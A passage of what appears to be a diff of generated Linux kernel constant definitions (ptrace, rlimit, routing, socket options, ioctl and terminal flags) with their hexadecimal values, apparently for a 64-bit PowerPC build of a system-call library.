-- PTRACE_GET_DEBUGREG = 0x19
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETEVRREGS = 0x15
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGS64 = 0x17
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SETVRREGS = 0x13
-- PTRACE_SETVSRREGS = 0x1c
-- PTRACE_SET_DEBUGREG = 0x1a
-- PTRACE_SINGLEBLOCK = 0x100
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- PT_CCR = 0x26
-- PT_CTR = 0x23
-- PT_DAR = 0x29
-- PT_DSCR = 0x2c
-- PT_DSISR = 0x2a
-- PT_FPR0 = 0x30
-- PT_FPSCR = 0x50
-- PT_LNK = 0x24
-- PT_MSR = 0x21
-- PT_NIP = 0x20
-- PT_ORIG_R3 = 0x22
-- PT_R0 = 0x0
-- PT_R1 = 0x1
-- PT_R10 = 0xa
-- PT_R11 = 0xb
-- PT_R12 = 0xc
-- PT_R13 = 0xd
-- PT_R14 = 0xe
-- PT_R15 = 0xf
-- PT_R16 = 0x10
-- PT_R17 = 0x11
-- PT_R18 = 0x12
-- PT_R19 = 0x13
-- PT_R2 = 0x2
-- PT_R20 = 0x14
-- PT_R21 = 0x15
-- PT_R22 = 0x16
-- PT_R23 = 0x17
-- PT_R24 = 0x18
-- PT_R25 = 0x19
-- PT_R26 = 0x1a
-- PT_R27 = 0x1b
-- PT_R28 = 0x1c
-- PT_R29 = 0x1d
-- PT_R3 = 0x3
-- PT_R30 = 0x1e
-- PT_R31 = 0x1f
-- PT_R4 = 0x4
-- PT_R5 = 0x5
-- PT_R6 = 0x6
-- PT_R7 = 0x7
-- PT_R8 = 0x8
-- PT_R9 = 0x9
-- PT_REGS_COUNT = 0x2c
-- PT_RESULT = 0x2b
-- PT_SOFTE = 0x27
-- PT_TRAP = 0x28
-- PT_VR0 = 0x52
-- PT_VRSAVE = 0x94
-- PT_VSCR = 0x93
-- PT_VSR0 = 0x96
-- PT_VSR31 = 0xd4
-- PT_XER = 0x25
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x7
-- RLIMIT_NPROC = 0x6
-- RLIMIT_RSS = 0x5
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x8905
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x8904
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x4004667f
-- SIOCOUTQ = 0x40047473
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x8902
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x2
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x800
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x1
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0x1
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1e
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x6
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x27
-- SO_DONTROUTE = 0x5
-- SO_ERROR = 0x4
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x9
-- SO_LINGER = 0xd
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0xa
-- SO_PASSCRED = 0x14
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x15
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1f
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x26
-- SO_RCVBUF = 0x8
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x10
-- SO_RCVTIMEO = 0x12
-- SO_REUSEADDR = 0x2
-- SO_REUSEPORT = 0xf
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x7
-- SO_SNDBUFFORCE = 0x20
-- SO_SNDLOWAT = 0x11
-- SO_SNDTIMEO = 0x13
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x3
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x400
-- TAB2 = 0x800
-- TAB3 = 0xc00
-- TABDLY = 0xc00
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x2000741f
-- TCGETA = 0x40147417
-- TCGETS = 0x402c7413
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x2000741d
-- TCSBRKP = 0x5425
-- TCSETA = 0x80147418
-- TCSETAF = 0x8014741c
-- TCSETAW = 0x80147419
-- TCSETS = 0x802c7414
-- TCSETSF = 0x802c7416
-- TCSETSW = 0x802c7415
-- TCXONC = 0x2000741e
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x40045432
-- TIOCGETC = 0x40067412
-- TIOCGETD = 0x5424
-- TIOCGETP = 0x40067408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGLTC = 0x40067474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x4004667f
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_LOOP = 0x8000
-- TIOCM_OUT1 = 0x2000
-- TIOCM_OUT2 = 0x4000
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x40047473
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETC = 0x80067411
-- TIOCSETD = 0x5423
-- TIOCSETN = 0x8006740a
-- TIOCSETP = 0x80067409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSLTC = 0x80067475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTART = 0x2000746e
-- TIOCSTI = 0x5412
-- TIOCSTOP = 0x2000746f
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x400000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x801054d5
-- TUNDETACHFILTER = 0x801054d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x401054db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0x10
-- VEOF = 0x4
-- VEOL = 0x6
-- VEOL2 = 0x8
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x5
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xb
-- VSTART = 0xd
-- VSTOP = 0xe
-- VSUSP = 0xc
-- VSWTC = 0x9
-- VT0 = 0x0
-- VT1 = 0x10000
-- VTDLY = 0x10000
-- VTIME = 0x7
-- VWERASE = 0xa
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4000
-- XTABS = 0xc00
-+ B1000000 = 0x17
-+ B115200 = 0x11
-+ B1152000 = 0x18
-+ B1500000 = 0x19
-+ B2000000 = 0x1a
-+ B230400 = 0x12
-+ B2500000 = 0x1b
-+ B3000000 = 0x1c
-+ B3500000 = 0x1d
-+ B4000000 = 0x1e
-+ B460800 = 0x13
-+ B500000 = 0x14
-+ B57600 = 0x10
-+ B576000 = 0x15
-+ B921600 = 0x16
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1f
-+ BS1 = 0x8000
-+ BSDLY = 0x8000
-+ CBAUD = 0xff
-+ CBAUDEX = 0x0
-+ CIBAUD = 0xff0000
-+ CLOCAL = 0x8000
-+ CR1 = 0x1000
-+ CR2 = 0x2000
-+ CR3 = 0x3000
-+ CRDLY = 0x3000
-+ CREAD = 0x800
-+ CS6 = 0x100
-+ CS7 = 0x200
-+ CS8 = 0x300
-+ CSIZE = 0x300
-+ CSTOPB = 0x400
-+ ECHOCTL = 0x40
-+ ECHOE = 0x2
-+ ECHOK = 0x4
-+ ECHOKE = 0x1
-+ ECHONL = 0x10
-+ ECHOPRT = 0x20
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000000
-+ FF1 = 0x4000
-+ FFDLY = 0x4000
-+ FLUSHO = 0x800000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x4000
-+ ICANON = 0x100
-+ IEXTEN = 0x400
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x80
-+ IUCLC = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x80
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x40
